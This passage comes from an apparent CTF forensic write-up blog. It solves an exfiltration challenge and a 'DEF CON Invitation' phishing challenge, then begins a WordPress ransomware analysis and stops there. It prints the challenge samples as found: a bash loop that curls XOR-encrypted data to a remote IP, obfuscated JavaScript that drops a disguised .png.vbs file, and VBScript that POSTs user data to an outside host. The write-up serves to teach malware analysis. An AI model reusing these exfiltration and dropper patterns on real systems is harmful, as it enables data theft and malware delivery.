&quot;$val3&quot;)\n\n    done\n\n    for ((i=0;i&lt;${#DataOut};i+=2)); do\n    BYTE=${DataOut:$i:2}\n    curl -m 0.5 -X POST -H &quot;Content-Type: application/json&quot; -d &quot;{\\&quot;data\\&quot;:\\&quot;$BYTE\\&quot;}&quot; http://35.196.65.151:30899/ &amp;&gt;/dev/null\n    done\n}\n\nXOREncrypt $KEY $FLAG\n\nexit 0</code></pre></div>\n<p>Here, you can see that the byte values of the Flag are XOR-encrypted using <code class=\"language-text\">s3k@1_v3ry_w0w</code> as the key and then sent in POST requests to some server.</p>\n<p>The packets for this communication correspond to the pcap included with the challenge binary.</p>\n<p>So I used the following one-liner with tshark to extract every byte value contained in the POST requests.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">tshark -r ./capture.pcapng  -Y <span class=\"token string\">\"http.request.method == POST\"</span> -T fields -e json.value.string <span class=\"token operator\">|</span> <span class=\"token function\">tr</span> <span class=\"token string\">'\\n'</span> <span class=\"token string\">' '</span></code></pre></div>\n<p>Finally, by decrypting the XOR with the following solver, I was able to obtain the Flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token comment\"># tshark -r ./capture.pcapng  -Y \"http.request.method == POST\" -T fields -e json.value.string | tr '\\n' ' '</span>\ndata <span class=\"token operator\">=</span> <span class=\"token string\">\"20 76 20 01 78 24 45 45 46 15 00 10 00 28 4b 41 19 32 43 00 4e 41 00 0b 2d 05 42 05 2c 0b 19 32 43 2d 04 41 00 0b 2d 05 42 28 52 12 4a 1f 09 6b 4e 00 0f\"</span><span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">\" \"</span><span class=\"token punctuation\">)</span>\ndata <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"0x\"</span><span class=\"token operator\">+</span> i<span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> data<span class=\"token punctuation\">]</span>\nkey <span class=\"token operator\">=</span> <span class=\"token string\">\"s3k@1_v3ry_w0w\"</span>\n\ni <span class=\"token operator\">=</span> <span class=\"token number\">0</span>\n<span class=\"token keyword\">for</span> d <span class=\"token keyword\">in</span> data<span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>\n        <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>d <span class=\"token operator\">^</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>key<span class=\"token punctuation\">[</span>i <span class=\"token operator\">%</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>key<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> end<span class=\"token operator\">=</span><span class=\"token string\">\"\"</span>\n        <span class=\"token punctuation\">)</span>\n    i <span class=\"token operator\">+=</span> <span class=\"token number\">1</span>\n<span class=\"token comment\"># SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}</span></code></pre></div>\n<h2 id=\"def-con-invitationforensic\" style=\"position:relative;\"><a href=\"#def-con-invitationforensic\" aria-label=\"def con invitationforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>DEF CON Invitation(Forensic)</h2>\n<blockquote>\n<p>As you all know, DEF CON CTF Qualifier 2023 was really competitive and we didn’t make it. Surprisingly, 2 months before the finals in Las Vegas, we received an official invitation from Nautilus Institute to attend the event. Should we accept the invitation and schedule the trip?</p>\n</blockquote>\n<p>When I checked the HTML source embedded in the <code class=\"language-text\">ics</code> file attached to the <code class=\"language-text\">eml</code> file that was provided as the challenge binary, I found that it referenced the HTML page <code class=\"language-text\">https://storage.googleapis.com/defcon-nautilus/venue-guide.html</code>.</p>\n<p>When I fetched the source of that HTML, it contained the following JavaScript.</p>\n<div class=\"gatsby-highlight\" data-language=\"javascript\"><pre class=\"language-javascript\"><code class=\"language-javascript\"><span class=\"token keyword\">const</span> <span class=\"token function-variable function\">ror</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">message</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=></span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> foo <span class=\"token operator\">=</span> <span class=\"token string\">\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"</span>\n  <span class=\"token keyword\">const</span> bar <span class=\"token operator\">=</span> <span class=\"token string\">\"nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM\"</span>\n  <span class=\"token keyword\">return</span> message<span class=\"token punctuation\">.</span><span class=\"token function\">replace</span><span class=\"token punctuation\">(</span><span class=\"token regex\"><span class=\"token regex-delimiter\">/</span><span class=\"token regex-source language-regex\">[a-z]</span><span class=\"token regex-delimiter\">/</span><span class=\"token regex-flags\">gi</span></span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">letter</span> <span class=\"token operator\">=></span> bar<span class=\"token punctuation\">[</span>foo<span class=\"token punctuation\">.</span><span class=\"token function\">indexOf</span><span class=\"token punctuation\">(</span>letter<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">dd</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">dataurl<span class=\"token punctuation\">,</span> fileName</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> response <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span>dataurl<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">const</span> blob <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> response<span class=\"token punctuation\">.</span><span class=\"token function\">blob</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">const</span> link <span class=\"token operator\">=</span> document<span class=\"token punctuation\">.</span><span class=\"token function\">createElement</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"a\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  link<span class=\"token punctuation\">.</span>href <span class=\"token operator\">=</span> <span class=\"token constant\">URL</span><span class=\"token punctuation\">.</span><span class=\"token function\">createObjectURL</span><span class=\"token punctuation\">(</span>blob<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  link<span class=\"token punctuation\">.</span>download <span class=\"token operator\">=</span> fileName<span class=\"token punctuation\">;</span>\n  link<span class=\"token punctuation\">.</span><span class=\"token function\">click</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n  \nwindow<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onload</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> downloadButton <span class=\"token operator\">=</span> document<span class=\"token punctuation\">.</span><span class=\"token function\">getElementById</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"downloadButton\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  downloadButton<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onclick</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">dd</span><span class=\"token punctuation\">(</span><span class=\"token function\">ror</span><span class=\"token punctuation\">(</span><span class=\"token string\">'uggcf://fgbentr.tbbtyrncvf.pbz/qrspba-anhgvyhf/irahr-znc.cat.iof'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token function\">ror</span><span class=\"token punctuation\">(</span><span class=\"token string\">'foi.tac.cnz-rhari'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">split</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">reverse</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">join</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>After roughly deobfuscating this logic, I was able to obtain a malicious VBS file named <code class=\"language-text\">venue-map.png.vbs</code>.</p>\n<p>As I continued print-debugging the VBS file by adding <code class=\"language-text\">WScript.Echo</code>, the download link for <code class=\"language-text\">defcon-flag.png.XORed</code>, an image file encrypted by <code class=\"language-text\">OwOwO(ewkjunfw)</code>, was revealed.</p>\n<p>Reading further through the VBS processing, I found that the following code is called at the end.</p>\n<div class=\"gatsby-highlight\" data-language=\"vbscript\"><pre class=\"language-vbscript\"><code class=\"language-vbscript\">Dim http: Set http = CreateObject(&quot;WinHttp.WinHttpRequest.5.1&quot;)\nDim url: url = &quot;http://20.106.250.46/sendUserData&quot;\n\nWith http\n  Call .Open(&quot;POST&quot;, url, False)\n  Call .SetRequestHeader(&quot;Content-Type&quot;, &quot;application/json&quot;)\n  Call .Send(&quot;{&quot;&quot;username&quot;&quot;:&quot;&quot;&quot; &amp; strUser &amp; &quot;&quot;&quot;}&quot;)\nEnd With</code></pre></div>\n<p>When I entered an arbitrary username and sent a POST request to this destination, it returned the message <code class=\"language-text\">Not admin!</code>.</p>\n<p>So I sent a POST request with the username set to <code class=\"language-text\">admin</code>, and I obtained the key <code class=\"language-text\">02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/322a429534333b5ed88d99efea5caba0/8b70b/image-20230828225005968.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 14.583333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAtklEQVQI1y3JzU7CQBSG4W6JgBADBly4oKWl0p/pzLRTKDgmLkCNJLrQ+7+Rl+mExZO85zvBITbsnyVmlvGa73hvLMdyh0kVXW6oY4GKCpqNpE4q2hflaL9rp91q/+sKgwxzgjdpubQf/Mozf/UXP+LEf/PNZ2K9U3jw+rZLhX3qabp5SfuQ+T4uKkciBiGBWGzRjxl6kqLuE+Q4dr1BT1NqR/V9u6tR7Kw9MYwo76JbO66LwYorG+Rcr0Q3ePAAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/322a429534333b5ed88d99efea5caba0/8ac56/image-20230828225005968.webp 240w,\n/static/322a429534333b5ed88d99efea5caba0/d3be9/image-20230828225005968.webp 480w,\n/static/322a429534333b5ed88d99efea5caba0/e46b2/image-20230828225005968.webp 960w,\n/static/322a429534333b5ed88d99efea5caba0/da80b/image-20230828225005968.webp 1266w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/322a429534333b5ed88d99efea5caba0/8ff5a/image-20230828225005968.png 240w,\n/static/322a429534333b5ed88d99efea5caba0/e85cb/image-20230828225005968.png 480w,\n/static/322a429534333b5ed88d99efea5caba0/d9199/image-20230828225005968.png 960w,\n/static/322a429534333b5ed88d99efea5caba0/8b70b/image-20230828225005968.png 1266w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/322a429534333b5ed88d99efea5caba0/d9199/image-20230828225005968.png\"\n            alt=\"image-20230828225005968\"\n            title=\"image-20230828225005968\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Using this key, I created the following solver and was able to obtain the correct Flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">import</span> array\n\nKEY <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> <span class=\"token string\">\"02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY\"</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">xor_bytes</span><span class=\"token punctuation\">(</span>in_bytes<span class=\"token punctuation\">,</span> key<span class=\"token operator\">=</span><span class=\"token boolean\">None</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">if</span> <span class=\"token keyword\">not</span> key<span class=\"token punctuation\">:</span>\n        key <span class=\"token operator\">=</span> KEY\n    arr <span class=\"token operator\">=</span> array<span class=\"token punctuation\">.</span>array<span class=\"token punctuation\">(</span><span class=\"token string\">'B'</span><span class=\"token punctuation\">,</span> in_bytes<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">for</span> i<span class=\"token punctuation\">,</span> val <span class=\"token keyword\">in</span> <span class=\"token builtin\">enumerate</span><span class=\"token punctuation\">(</span>arr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        cur_key <span class=\"token operator\">=</span> key<span class=\"token punctuation\">[</span>i <span class=\"token operator\">%</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>key<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n        arr<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> val <span class=\"token operator\">^</span> cur_key\n    <span class=\"token keyword\">return</span> <span class=\"token builtin\">bytes</span><span class=\"token punctuation\">(</span>arr<span class=\"token punctuation\">)</span>\n\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">xor_file</span><span class=\"token punctuation\">(</span>input_file<span class=\"token punctuation\">,</span> output_file<span class=\"token operator\">=</span><span class=\"token boolean\">None</span><span class=\"token punctuation\">,</span> key<span class=\"token operator\">=</span><span class=\"token boolean\">None</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>input_file<span class=\"token punctuation\">,</span> <span class=\"token string\">'rb'</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> encoded_stream<span class=\"token punctuation\">:</span>\n        buf <span class=\"token operator\">=</span> encoded_stream<span class=\"token punctuation\">.</span>read<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    buf <span class=\"token operator\">=</span> xor_bytes<span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">,</span> key<span class=\"token operator\">=</span>key<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">if</span> output_file<span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>output_file<span class=\"token punctuation\">,</span> <span class=\"token string\">'wb'</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> decoded_stream<span class=\"token punctuation\">:</span>\n            decoded_stream<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span><span class=\"token builtin\">bytes</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> buf\n\nxor_file<span class=\"token punctuation\">(</span><span class=\"token string\">\"defcon-flag.png.XORed\"</span><span class=\"token punctuation\">,</span> output_file<span class=\"token operator\">=</span><span class=\"token string\">\"defcon-flag.png\"</span><span class=\"token punctuation\">,</span> key<span class=\"token operator\">=</span>KEY<span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 923px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/25ff8400bc2713c3a38cd31fbe86c6c6/23266/image-20230828225326023.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 63.74999999999999%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8UlEQVQ4y41Ty27bMBDUD/dSIAiQSw8N0O/quUAbBwnqNont2JYlWbYoitSTlKa71AOWkUMJLLgkl7Mz3KUnRIrT6Ux2wiEIUZYleLRti7br0A1mrcUxjpEIgTCMEEVHFzOej75XNwbdANBdAIxj9AwBKqVQVhUsxRpjpqTsMxEHeI4D7LYb+IcDzVus12tsad7tdtjv9/B9360LusCXkiShuZolZsA8z53v/T5UOIgara0nNk1dox6saRpUNDMrvpRlygFcAlprUBQFeOl9f2nwa986ca8PC6weF2hdkJ0bAWqtnbmn+IAhr7wlMbTkvL+scPPpFjef7+C/rXqmxI6DjekBy7IghplLMIJiSO4YOsCggiFKcRzi9ss97r5+QxoF7pDBLAMODJmFoCpfA84YdqR/HFor6CK/YtebtS2xyCFl6gCvJU8M01S6HuTqsRyRiKli3awP+zeUmZztd0Pb6JFhKiXJjZ0UIRIHzhc5iFmOxrI19SH34gzwUjJXOS9ryMoiLblRu+mXmA+qrHKNTOmpvTBKprOi6n+Yx+j/Mwy9URYEkPTlalbx+oaCrFxvYOipclLZUWIvOiXYHAWeIoWHIMPTUePPSeNHoLEIMyyTCu95S3sl/h4VlqHEM8U9BhLbM8UECj8pNkwUS8M/IvbrrbcGbMwAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/25ff8400bc2713c3a38cd31fbe86c6c6/8ac56/image-20230828225326023.webp 240w,\n/static/25ff8400bc2713c3a38cd31fbe86c6c6/d3be9/image-20230828225326023.webp 480w,\n/static/25ff8400bc2713c3a38cd31fbe86c6c6/e5eeb/image-20230828225326023.webp 923w\"\n              sizes=\"(max-width: 923px) 100vw, 923px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/25ff8400bc2713c3a38cd31fbe86c6c6/8ff5a/image-20230828225326023.png 240w,\n/static/25ff8400bc2713c3a38cd31fbe86c6c6/e85cb/image-20230828225326023.png 480w,\n/static/25ff8400bc2713c3a38cd31fbe86c6c6/23266/image-20230828225326023.png 923w\"\n            sizes=\"(max-width: 923px) 100vw, 923px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/25ff8400bc2713c3a38cd31fbe86c6c6/23266/image-20230828225326023.png\"\n            alt=\"image-20230828225326023\"\n            title=\"image-20230828225326023\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"infectedforensic\" style=\"position:relative;\"><a href=\"#infectedforensic\" aria-label=\"infectedforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Infected(Forensic)</h2>\n<blockquote>\n<p>Our systems recently got ransomwared, and we tracked the origin to our web server. We’re not sure how they got access, can you find out?</p>\n</blockquote>\n<p>The challenge provided a pcap and a full set of files from the WordPress server.</p>\n<p>From the problem statement, it looked like all I needed to do was identify how the ransomware infection occurred.</p>\n<p>For now, I opened the pcap in Wireshark and checked the HTTP request statistics, which showed that a variety of suspicious requests had landed.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 790px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/cdd469c89db9608e6ec0938381be19b3/2e237/image-20230830184838040.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 84.16666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAABR0lEQVQ4y61Ti26CQBDk/3+uitXyEnlaeopglTc4vd1EQyO1om4yuYQ9Zmd2bxXP9WBbNuI4RrJLkCQJuq4Dxel0GoWmaaCEQYh1GCJNUzwbbdNCMQ0T9tJGmqSo65qrXKFuOFdV1SDKsuSzKAoo6nSKydsEH/MFZuoM8/c51KkKKqRrGoO++X7ATkJC0EcA13URRRG3TRFCwNQNaAsNhjyXlsWKj8cjDocD8jxnddSj/4J7SFWjzwhFXjAJEWRZdiGsyuryw11D8aRcUzclQfZn5XunTE4UQ9PhOS66Gxf7pEPFzicTLk0LG7H9lRwTfUK27NgriC9xU8UowpWc6H7//RKFbNmST2UlVfYTTxH6csobsTmnn7e8XoeIt/FLFF7eoe8FaNv26pmMtywJae1oJ4cuPdRD13Fgy6HQYhOyLH9YIVn+Ad+aMN+bn5S9AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/cdd469c89db9608e6ec0938381be19b3/8ac56/image-20230830184838040.webp 240w,\n/static/cdd469c89db9608e6ec0938381be19b3/d3be9/image-20230830184838040.webp 480w,\n/static/cdd469c89db9608e6ec0938381be19b3/02aff/image-20230830184838040.webp 790w\"\n              sizes=\"(max-width: 790px) 100vw, 790px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/cdd469c89db9608e6ec0938381be19b3/8ff5a/image-20230830184838040.png 240w,\n/static/cdd469c89db9608e6ec0938381be19b3/e85cb/image-20230830184838040.png 480w,\n/static/cdd469c89db9608e6ec0938381be19b3/2e237/image-20230830184838040.png 790w\"\n            sizes=\"(max-width: 790px) 100vw, 790px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/cdd469c89db9608e6ec0938381be19b3/2e237/image-20230830184838040.png\"\n            alt=\"image-20230830184838040\"\n            title=\"image-20230830184838040\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Also, because an unusually large number of requests to this server returned 404, I first filtered out only the packets with status code 200.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/38e369586adff0f790514116d0ae0559/3f8aa/image-20230830212957906.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 41.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABnElEQVQoz1WRbVPiQBCE+f+/5rRARIkhvCRcQiCAvJ2JScSAQCCCoHdaZduzUN7dh62dmp55trs2NwzuEDxO4M8jxKsYwSLCOInhJwGS7AnpYYPVfo30daNqudeqXv9zThrrXHdmwpkacGc1DDIbvZWJXmphsmthvHXQX1vopyZaiUGtCW9hYrD5Sd3F3b6NodqRmSb7NnLesggrOuNCAd3lJUbPZYolRH9qCH9X8WuvI/6owaXuPOZhP5zz8QLnNKXJfHt+wf08wSXk2osiGuEPOGx0CBxkZXQJDAjz3wxMuBQSLg/aBMrcbXaN6aeFGZpqpsUHpO8J0CPEFIdsdtkYbjXGvFLA4I0ODxWE73QoLjjToQE54XsdCSz4r8bRoeynV3T4xMjxCUhnQ0boEXgvQIl80I9A6jIz2h6jSn/yoiuH7jeQDt25AM/hsCGWFTD961BFPjm0GWu005Tr8e5GpfkfSIf1hxI0Pw8jInh2DWeloznnx7w00NvV0cmq6O8bqNwXoAf8lIUGN63AWd6o2qNen5ZQjWW/jC/6ATG8P4r+VQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/38e369586adff0f790514116d0ae0559/8ac56/image-20230830212957906.webp 240w,\n/static/38e369586adff0f790514116d0ae0559/d3be9/image-20230830212957906.webp 480w,\n/static/38e369586adff0f790514116d0ae0559/e46b2/image-20230830212957906.webp 960w,\n/static/38e369586adff0f790514116d0ae0559/c6c08/image-20230830212957906.webp 1337w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/38e369586adff0f790514116d0ae0559/8ff5a/image-20230830212957906.png 240w,\n/static/38e369586adff0f790514116d0ae0559/e85cb/image-20230830212957906.png 480w,\n/static/38e369586adff0f790514116d0ae0559/d9199/image-20230830212957906.png 960w,\n/static/38e369586adff0f790514116d0ae0559/3f8aa/image-20230830212957906.png 1337w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/38e369586adff0f790514116d0ae0559/d9199/image-20230830212957906.png\"\n            alt=\"image-20230830212957906\"\n            title=\"image-20230830212957906\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>I reviewed the list of GET queries, but I could not find anything that seemed directly connected to the ransomware infection.</p>\n<p>So next I narrowed the extracted packets down to the POST method.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/d99592a1439ee734d80f025d68f71d3e/61583/image-20230830213247891.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 27.500000000000004%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABTklEQVQY01WQ6U7CQBSF+/5vI4LKUqGFSMsiUBaRtRCBQksRgbYo5nM6wUR/fDkz505u5hzFcRY4rofruzjeloWzxvN9jkHAKQwJoojw80x4/iWSBDFidorCfyiGncfyTBqbJ57XBi3XpLurCs+4qim9GMur0NlWaQvt7mq8HhqMghbDPyi1RZJxUOBll6XtPjCNdOyzziTSWGPS36vEbyrzBJablv4k1KTOvkqsMFhSlqwEivGW4uVQwPJzPG8y9E8ag7DIINCZi4XtnYq5uKM0TVBfpxnKWVFqjH0pM/s2BGVsgaJNU7TeNWobFWOZwdrrdI8lOocS40uVuvuINkmSHyXIj2/R7TtxT6EOE/JccbI0/AJNQedQFD+c3zA4PtL1MzQ396KTAtNr5DhOf5+jtkxiishx9PY2LaI/UF+lRJdpeqKq3nuW/ocq+QHVoawEHYsvkQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  